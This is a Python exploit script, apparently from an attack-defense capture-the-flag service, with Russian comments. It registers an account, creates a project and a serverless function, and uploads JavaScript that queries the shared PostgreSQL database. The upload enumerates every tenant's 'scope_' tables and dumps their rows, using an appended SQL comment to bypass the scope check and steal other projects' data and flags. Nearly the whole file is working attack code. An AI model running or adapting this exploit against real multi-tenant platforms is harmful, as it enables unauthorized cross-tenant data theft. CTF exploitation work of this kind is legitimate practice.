142 lines
3.9 KiB
Python
142 lines
3.9 KiB
Python
# Эксплойт основан на возможности обращения к базе данных из
|
|
# кода пользовательской функции (и недостаточной проверки запроса).
|
|
#
|
|
# Он позволяет прочитать записи в базе, созданные функциями других
|
|
# проектов, включая созданные чекером (и содержащие флаги).
|
|
|
|
import sys
|
|
import uuid
|
|
|
|
import requests
|
|
|
|
HOST = sys.argv[1]
|
|
PORT = 3000
|
|
BASE_URL = f"http://{HOST}:{PORT}/api/v1"
|
|
|
|
FUNCTION_CODE = r"""
|
|
(async () => {
|
|
const match = req.path.match(/\/exec\/([^/]+)/i);
|
|
if (!match) {
|
|
res.setStatus(500).send("Unable to detect project slug");
|
|
return;
|
|
}
|
|
|
|
const currentScope = `scope_${match[1]}`;
|
|
const scopeHint = `/* ${currentScope} */`;
|
|
|
|
const tables = await sql.query(`
|
|
SELECT
|
|
t.table_name
|
|
FROM information_schema.tables AS t
|
|
JOIN pg_catalog.pg_class AS cls
|
|
ON cls.relname = t.table_name
|
|
WHERE t.table_schema = 'public'
|
|
AND t.table_name LIKE 'scope_%'
|
|
ORDER BY cls.oid DESC
|
|
LIMIT 500
|
|
${scopeHint}
|
|
`);
|
|
|
|
const dump = [];
|
|
for (const row of tables || []) {
|
|
const table = row.table_name;
|
|
const creationOrder = row.creation_oid;
|
|
if (!table) continue;
|
|
|
|
try {
|
|
const rows = await sql.query(
|
|
`SELECT * FROM "${table}" ORDER BY id DESC ${scopeHint}`
|
|
);
|
|
|
|
dump.push({ table, creationOrder, rows });
|
|
} catch (error) {
|
|
dump.push({ table, creationOrder, error: String(error) });
|
|
}
|
|
}
|
|
|
|
res.json(dump);
|
|
})();
|
|
"""
|
|
|
|
|
|
def make_id(prefix):
|
|
return f"{prefix}-{uuid.uuid4().hex[:8]}"
|
|
|
|
|
|
def main():
|
|
session = requests.Session()
|
|
|
|
username = make_id("user")
|
|
password = f"Passw0rd!{uuid.uuid4().hex[:6]}"
|
|
|
|
print(f"[*] Registering user {username}")
|
|
response = session.post(
|
|
f"{BASE_URL}/users",
|
|
json={"username": username, "password": password},
|
|
)
|
|
response.raise_for_status()
|
|
|
|
print("[*] Logging in")
|
|
response = session.post(
|
|
f"{BASE_URL}/auth/login",
|
|
data={"username": username, "password": password},
|
|
)
|
|
response.raise_for_status()
|
|
|
|
login_response = response.json()
|
|
token = login_response.get("auth_token")
|
|
if not token:
|
|
raise RuntimeError("Login response missing auth_token field")
|
|
headers = {"Authorization": f"Bearer {token}"}
|
|
|
|
slug = make_id("proj")
|
|
project_name = f"Project {slug}"
|
|
description = "Kekpek"
|
|
|
|
print(f"[*] Creating project {project_name} ({slug})")
|
|
response = session.post(
|
|
f"{BASE_URL}/projects",
|
|
headers=headers,
|
|
json={"name": project_name, "slug": slug, "description": description},
|
|
)
|
|
response.raise_for_status()
|
|
|
|
project_response = response.json()
|
|
project_id = project_response.get("_id") or project_response.get("id")
|
|
project_slug = project_response.get("slug") or slug
|
|
|
|
print("[*] Creating function /sploit")
|
|
response = session.post(
|
|
f"{BASE_URL}/projects/{project_id}/functions",
|
|
headers=headers,
|
|
json={"name": "Sploit", "path": "/sploit"},
|
|
)
|
|
response.raise_for_status()
|
|
|
|
function_response = response.json()
|
|
function_id = function_response.get("_id") or function_response.get("id")
|
|
|
|
print("[*] Uploading custom code")
|
|
response = session.put(
|
|
f"{BASE_URL}/projects/{project_id}/functions/{function_id}",
|
|
headers=headers,
|
|
json={"code": FUNCTION_CODE, "methods": ["GET"]},
|
|
)
|
|
response.raise_for_status()
|
|
|
|
response = requests.get(
|
|
f"{BASE_URL}/exec/{project_slug}/sploit",
|
|
)
|
|
print(f"[+] Execution HTTP {response.status_code}")
|
|
|
|
body = response.text.strip()
|
|
if not body:
|
|
print("[!] Empty body received")
|
|
return
|
|
|
|
print(body)
|
|
|
|
|
|
if __name__ == "__main__":
|
|
main()
|